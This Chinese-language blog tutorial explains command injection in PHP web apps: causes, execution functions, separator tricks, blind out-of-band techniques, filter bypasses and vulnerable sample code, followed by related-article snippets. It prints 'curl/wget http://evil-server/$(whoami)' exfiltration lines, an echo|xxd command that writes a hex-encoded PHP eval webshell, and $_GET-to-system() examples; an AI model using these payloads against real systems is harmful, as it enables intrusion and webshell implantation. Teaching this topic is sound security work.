常见漏洞之命令注入

VSole2021-12-17 14:21:26

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

漏洞介绍

程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。

漏洞成因

用户可控点可以使用管道符进行命令拼接

参数点的过滤不严格,或者可以被绕过

漏洞危害

继承Web服务器程序的权限,去执行系统命令

继承Web服务器程序的权限,读写文件

反弹shell

写Webshell

控制整个网站

甚至控制整个服务器

相关函数

system() 有回显, 输出并返回最后一行shell结果。

passthru()(有回显),只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

exec() (回显最后一行-必须echo输出)不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

shell_exec() (无回显-必须输出)

反引号:``

popen(handle,mode)(无回显,返回指针,需要将结果存到文件中)不会直接返回执行结果,而是返回一个文件指针

proc_open(‘cmd’,‘flag’,‘flag’)(无回显)不会直接返回执行结果,而是返回一个文件指针。

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技

  • bash反弹shell
  • DNS带外数据
  • http带外
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

命令注入绕过

Windows:

WINDOWS:用^转义<,即执行echo^>web可写目录加文件完整名字

LINUX:需要用\来转义<,不过很多PHP都默认开启gpc(魔术引号magic_qutes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。

echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

管道符说明:

|:管道符,将一个程序的输出作为另一个程序的输入

>:输出重定向,将程序的输出流入到某个程序或者文本中

>>:追加输出重定向,将输出的内容追加到一个文件的末尾

<:输入重定向,将输入的内容重定向到文件或程序中

其他特殊符号:

Windows平台:

| 直接执行后面的语句 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

命令注入漏洞及利用

实例代码:

$arg = $_GET['cmd'];if($arg){    system("$arg");}?>

实例代码:

$ip = $_GET['ip'];if($ip){    system("ping –c 3 $ip");}?>

漏洞危害

继承Web服务器程序的权限,去执行系统命令

继承Web服务器程序的权限,读写文件

反弹shell

写Webshell

控制整个网站

甚至控制整个服务器

漏洞ping
本作品采用《CC 协议》,转载必须注明作者和本文链接
微软将在10月的补丁周二发布中再次发布大量安全修补程序,其中11个被微软评为”关键”。这些漏洞堪比2013 年 Windows 中修复的”死亡ping漏洞。通过精心制作的数据包使拒绝服务和潜在的远程代码执行成为可能。开发一个”蓝屏死亡”的DoS攻击是可以的。即使有可能可以可靠地预测stack canary落在系统外壳在用户模式下还需要正确确定Windows内核的基本地址。针对此漏洞的防护 此处提供一个Lua脚本用于此漏洞的检测可以集成到IDS中。
file=2663◆测试环境:Ubuntu 18.04根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。这里应该是一个POST请求提交数据。在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。
内网渗透扫描器
2023-06-16 09:08:32
一、工具介绍 LadonGo一款开源内网渗透扫描器框架,使用它可轻松一键探测C段、B段、A段存活主机、指纹识别、端口扫描、密码爆破、远程执行、高危漏洞检测等。
常见漏洞之命令注入
2021-12-17 14:21:26
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞
CVE-2021-20873-MovableType XMLRPC 远程命令执行漏洞分析。
在一些开启了 Hyper-V 的电脑上,RouterOS 可能无法在 VMWare Workstation 中模拟运行或启动非常缓慢,如果遇到无法运行的情况,请酌情考虑关闭 Hyper-V,如果能成功运行但是启动缓慢,可以及时拍摄快照。
Perun介绍Perun是一款主要适用于乙方安服、渗透测试人员和甲方RedTeam红队人员的网络资产漏洞扫描器/扫描框架,它主要适用于内网环境,加载漏洞检测Vuln模块后能够快速发现安全问题,并根据需要生成报表,以方便安全人员对授权项目完成测试工作。Perun由Python2.7和Python标准库开发,所有功能兼容Windows系统和*nix系统,Html报告采用Vue+Element,支持对扫描结果的排序、搜索、分页。
关于远程代码执行的常用Payload大家好,我是 Ansar Uddin,我是来自孟加拉国的网络安全研究员。这是我的第二篇 Bug 赏金文章。今天的话题都是关于 Rce 的利用。攻击者的能力取决于服务器端解释器的限制。在某些情况下,攻击者可能能够从代码注入升级为命令注入。
VSole
网络安全专家